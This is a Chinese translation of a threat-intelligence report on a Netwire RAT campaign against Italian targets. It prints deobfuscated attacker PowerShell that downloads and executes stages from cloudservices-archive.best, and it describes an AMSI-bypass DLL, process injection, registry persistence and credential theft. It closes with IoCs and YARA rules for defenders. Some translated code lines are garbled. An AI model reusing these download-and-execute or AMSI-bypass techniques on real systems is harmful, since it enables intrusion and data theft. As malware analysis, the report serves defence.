通过 Netwire 攻击链对意大利进行网络攻击
2020-06-10 17:56:00 Author: paper.seebug.org(查看原文) 阅读量:570 收藏

原文链接:New Cyber Operation Targets Italy: Digging Into the Netwire Attack Chain
译者:知道创宇404实验室翻译组

介绍

信息窃取软件是常见的恶意软件之一。 如:多平台远程管理工具(RAT)Netwire (MITRE S0198)从2012年开始被网络犯罪组织不断使用。在我们进行网络监测期间,发现了一个特定的Office文档,该文档通过安装恶意软件插件,来对意大利人民发起隐藏性的网络攻击活动,这种攻击活动的特定供给链采取了独特的技术模式,类似于这种,本文将对此进行深入分析。

技术分析

此活动中使用的变体与NetWire恶意软件家族的其他示例类似,但攻击链有所不同。下图显示了此活动中使用的NetWire攻击链:

释放器

这个NetWire攻击活动是伪装成一个恶意电子邮件附件进行发送的,其中嵌入了XML宏。下面是释放器的静态信息:

Excel 文档一旦打开便会有一些动态元素显示(但是没有可以点击的按钮),接着就会有安全窗口弹出并告知宏在文档中已经被禁用。

文档中包含的宏非常小,不包含无效代码或其他反分析技术,下图是随机查找的部分变量命名。

VBS宏代码段与“cloudservices-archive.]best” 域相联系,而且隐藏在图片文件的有效负载中,该有效负载既不是图片也不是可执行文件,它是一个XSL样式的表格,该表格中还包含能加载另一个ActiveX对象的Javascript。

这个powershell命令的模糊处理很容易解码,结果如下:

'(&'+'(G'+'C'+'^#^'。replace('^#^','M')+'* W-'+'O *)'+'Ne'+' t。'+'W'+'eb'+'C'+'li'+'ent)'+'。D'+'ow'+'nl'+'oa'+'d'+'F'+ 'il'+'e(''http://cloudservices-archive.best/fiber.vbs'',$env:APPDATA+''\.vbs'')'| I`E`X; start-process($ env:APPDATA +'\ .vbs')

此时,恶意软件试图从前一个位置下载附加的“fiber.vbs”文件,这个代码片段通过几个嵌套替换隐藏了powershell的调用。

实际上这次代码非常模糊,其中包含了很多字符串操作子例程,但是,一旦结果字符串被重构,上面提到的powershell引用就变得更加清晰。

要执行的完整powershell命令如下:

“” Powershell -ExecutionPolicy绕过$ c145 = -Join((111,105,130)| ForEach-Object {([[Convert] :: ToInt16(([[String] $ _),8)-As [Char])})); sal oE2 $ c145; $ qcCBgFfvdOauid = @(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,32,77 ,32,36,84,98,111,110,101,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,111,103,111,109,109,109,109,109,109,109,109,109,110,109,109,109,110,109,110,109,109,111,109,111,109,117,109,111,109,109,109,109,109,109,109,110,103,111,103,111 ,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,112,50,50,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91 ,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,101,101,101,109,46,101,101,101,101,101,101,109,46,83,101,99,83 ,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,112,50,50,50,59,36,109,118,61,39,40,38,39,43,39,40,71,39,43,39,67,39,43,39,36,36,36,39,46,114,101,112,108,97,99,101,40, 39,36,36,36,39,44,39,77,39,41,43,39,32,42,87,45,39,43,39,79,42,41,39,43,32, 39,78,101,39,43,39,116,46,39,43,39,87,39,43,39,101,98,39,43,39,67,39,43,39,108,105,39,43,39,101,110,116,41, 39,43,39,46,68,39,43,39,111,119,39,43,39,110,108,39,43,39,111,97,39,43,39,100,39,43,39,83,39,43,39,116,114, 39,43,39,105,110,103,40,39,39,104,116,116,112,58,47,47,99,108,111,117,100,115,101,114,118,105,99,101,115,45,97,114,99,104,105,118,101,46,98,101,115,116,47,105,109,124,39,39,103,39,39,39,39,104,39,39,104,116,39,100 73,96,69,96,88,59,36,97,115,99,105,105,67,104,97,114,115,61,32,36,109,118,32,45,115,112,108,105,116,32,39,45,39,32,124,70,111,114,69,97,99,104, 45,79,98,106,101,99,116,32,123,91,99,104,97,114,93,91,98,121,116,101,93,34,48,120,36,95,34,125,59,36,97,115,99,105,105,83,116,114,105,110,103,61,32,36,97,115,99,105,105,67,104,97,114,115,32,45,106,111,105,110,32,39,39,124,77))[char []] $ qcCBgFfvdOauid -join” | o`E`2“

实际上,它包含另一个Powershell阶段,其旨在了解执行环境并触发另一个阶段的执行:

$ Tbone ='* EX'.replace('*','I'); sal M $ Tbone;执行{$ ping = test-connection -comp google.com -count 1 -Quiet}直到($ ping); $ p22 = [枚举] :: ToObject([System.Net.SecurityProtocolType],3072); [System.Net.ServicePointManager] :: SecurityProtocol = $ p22; $ mv ='(&'+'(G'+'C' +'$$$'。replace('$$$','M')+'* W-'+'O *)'+'Ne'+'t。'+'W'+'eb'+' C'+'li'+'ent)'+'。D'+'ow'+'nl'+'oa'+'d'+'S'+'tr'+'ing(''http:// cloudservices-archive.best/image01.jpg'')'|I`E`X;$asciiChars= $ mv -split'-'| ForEach-Object {[char] [byte]“ 0x $ _”} ;; $ asciiString = $ asciiChars -join''| M

在这种情况下,恶意软件会从上一阶段的同一域下载“image01.jpg”文件。若下载成功,恶意软件会从下载的文件中读取原始字节,并将其转换为可以执行Powershell代码的位置。同时两个动态链接库也会被解压并加载到内存中:一个用于AMSI,其他的是最终的有效负载。

函数BIFOwcVW {[CmdletBinding()]参数([byte []] $ zFtQd)进程{$ wPqD =新对象'Syste ###### moryStream'.Replace('#####','m.IO .Me')(,$ zFtQd)$ ceqjTnon =新对象'Syste ###### moryStream'.Replace('#####','m.IO.Me')$ SLpCW =新对象' System.I @ @@@@@@@@@@@ pStream'.Replace('@@@@@@@@@@@@','O.Compression.Gzi')$ wPqD,([IO.Compression.CompressionMode] ::解压缩)
$ bWWEdq =新对象字节[](1024)while($ true){$ pvts = $ SLpCW.Read($ bWWEdq,0,1024)if($ pvts -le 0){break} $ ceqjTnon.Write ($ bWWEdq,0,$ pvts)} [byte []] $ CkJ = $ ceqjTnon.ToArray()写输出$ CkJ}} 
$ t0 = -Join(((111,105,130)| ForEach-Object {( [Convert] :: ToInt16(([[String] $ _),8)-As [Char])}); sal g $ t0;[Byte []] $ MNB =(' OBFUSCATED_PAYLOAD_1'.replace('9 ^','0x'))| G; 
[Byte []] $ blindB =(' OBFUSCATED_PAYLOAD_2'.replace('9 ^','0x'))| g 
[byte []] $ BQreEc = BIFOwcVW $ blindB [byte []] $ qcsScMu = BIFOwcVW $ MNB 
  $ y ='[System.AppDomain]'| g; $ g55 = $ y.GetMethod(“ get_CurrentDomain”)$ uy = $ g55.Invoke($ null,$ null)$ vmc ='$ uy.Lo%$($ BQreEc)'。Replace('%$','ad')$ vmc | g  [oioioi] :: fdsfdf()   $ vmc2 ='$ uy.Lo%$($ qcsScMu)'。Replace('%$','ad')$ vmc2 | g [Byte []] $ MNB2 =(' OBFUSCATED_PAYLOAD_3'.replace('9 ^','0x'))| g   [JAM.CASTLE] :: CRASH('notepad.exe',$ MNB2)

该脚本还配置了一种持久机制,将其自身复制到目录“%APPDATA%\Local\Microsoft”内,并在“HKCU\Software\Microsoft\Windows\CurrentVersion\Run”上设置注册表项。

黑客工具1:修补AmsiScanBuffer

以前的Powershell片段中嵌入的两个DLL中的第一个实际上是用作绕过Microsoft的AntiMalware扫描接口AMSI的工具。特别是在加载后,此DLL在感染链中运行的方法是“[oioioi]::fdsfdf()”。

上图显示了该技巧的完成方式:从“Assembly Title”字段检索两个组件“amsi.dll”和“AmsiScanBufer”,将目标方法引用到补丁以避免在运行时检测有效负载。

黑客工具2:释放器

实际上,第二个 DLL 并不是最终的有效负载,而是另一种工具即进程注入工具,主要用来隐藏植入到其他进程中的恶意软件。

如代码所示,变量 $MNB 在“CASTLE”类中作为调用静态方法“CRASH”的参数传递,而另一个参数主要进行目标进程注入。这个.Net 编译的可执行文件包含许多对攻击者使用的注入方法的引用。部分如下:

有效载荷

最终有效负载存储在最后一个powershell阶段捕获的$ MNB2变量中。

在分析二进制结构时,我们恢复了已配置命令和控制服务器的硬编码IP地址: 185.140.53.] 48. 该地址被滥用,Netwire可执行文件使用自解密例程运行其木马模块,并它分配一个新的内存区域,然后进行代码解密,结果如下图所示:

解密后,恶意软件会将其漫游器信息保存到注册表项“HKCU\Software\Netwire”中。此时,很容易发现Netwire RAT变体的恶意功能。综上所述,Netwire RAT使其操作员能够从受害者机器获取敏感信息,例如:

  • 窃取Outlook凭据;
  • 窃取Internet Explorer浏览器历史记录;
  • 窃取Chrome浏览器历史记录;
  • 窃取Mozilla浏览器历史记录;
  • 记录键盘敲击次数。

接着把通过该恶意软件获取的所有敏感数据发送到攻击者的命令和控制服务器,该行为可能会导致网络欺诈事件发生。

相似之处

在此分析中,我们描述了一个旨在诱骗意大利受害者的网络攻击行为,该网络攻击者通过传递一些所谓的“commodity malware”来避免被检测。但是,这种攻击形式并不新鲜。尤其是在处理Powershell阶段时,我们注意到一些变量和名称结构与我们看到的关于Aggah运动的最新报告非常相似。

尽管有变量名,但有效载荷的解码功能是相同的,而且,“$MNB”和“blindB”变量也已保存。 这可能也意味着这些技术在某种程度上已经被造成此次意大利事件的黑客们使用,或者说Aggah攻击者们在寻找不同的攻击链。

结论

在过去的几年里Netwire RAT获得了很多成功,攻击者们也利用它来感染受害者,甚至包括APT33(Refined Kitten)和Gorgon Group这样的政府资助团体也将其纳入了他们的武器库, 这让我觉得即使是所谓的恶意商品软件也有着严重威胁,尤其是在面对经验丰富黑客们时,他们可以利用某些手段来逃避检测,而且会使用合并方式来加速网络攻击。

我们观察到的某些特定证据表明他们的攻击目标就是意大利,而且还与近期意大利制造业采取的某些行动具有相似之处,即使这些未经证实,也表明了它们可能存在某些持续行动。

IoCs

Hashes:

ce7b8394cdc66149f91ed39ce6c047ee
4e4001c6c47d09009eb24ce636bf5906
4b8e4d05092389216f947e980ac8a7b9
ad066878659d1f2d0aee06546d3e500b ebe4a3f4ceb6d8f1a0485e3ce4333a7c

Dropsite:

cloudservices-archive.]best

C2:

185.]140.]53.]48 (ZoomEye搜索结果

Bot Information Registry:

HKCU\Software\NetWire

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fiber.vbs

Yara Rules

rule NetwireCampaign_MacroDoc_Jun2020{

    meta:
      description = "Yara Rule for Netwire campaign macro document Jun2020"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2020-06-05"
      tlp = "white"
      SHA256 = "b7e95d0dcedd77ab717a33163af23ab2fd2dc6d07cdf81c5e4cfe080b0946b79"
      category = "informational"

    strings:
         $a1 = {D9 CB 86 F2 BB BE 2F 61 57}
         $a2 = {70 E0 C0 81 03 07 0E 1C}
         $a3 = {4F 8B D2 E4 EF EE 50 9A 5C 2E}


    condition:
        all of them
}

rule NetwireCampaign_Payload_Jun2020{

    meta:
      description = "Yara Rule for Netwire campaign final payload Jun2020"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2020-06-05"
      tlp = "white"
      SHA256 = "cc419a1c36ed5bdae1d3cd35c4572766dc06ad5a447687f87e89da0bb5a42091"
      category = "informational"

    strings:
         $a1 = {c7 04 ?4 ?? ?? ?? ?? e8 6f 2c 00 00 c7 04 ?4 ?? ?? ?? ?? e8 63 2c 00 00 8b 35}
         $a2 = {89 84 ?4 b0 00 00 00 c7 84 ?4 a4 00 00 00 ?? ?? ?? ?? 66 c7 84 ?4 a8 00 00 00 00 00 e8 ?? ?? ?? ?? 83 ec 28 85 c0 75 27}
         $a3 = { c7 44 ?4 0c ?? ?? ?? ?? c7 44 ?4 08 ?? ?? ?? ?? c7 04 ?4 ?? ?? ?? ?? 89 44 ?4 04 e8 39 1c 01 00 83 ec ??  }



    condition:
        uint16(0) == 0x5A4D and 2 of ($a*)
}

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1238/



文章来源: https://paper.seebug.org/1238/
如有侵权请联系:admin#unsafe.sh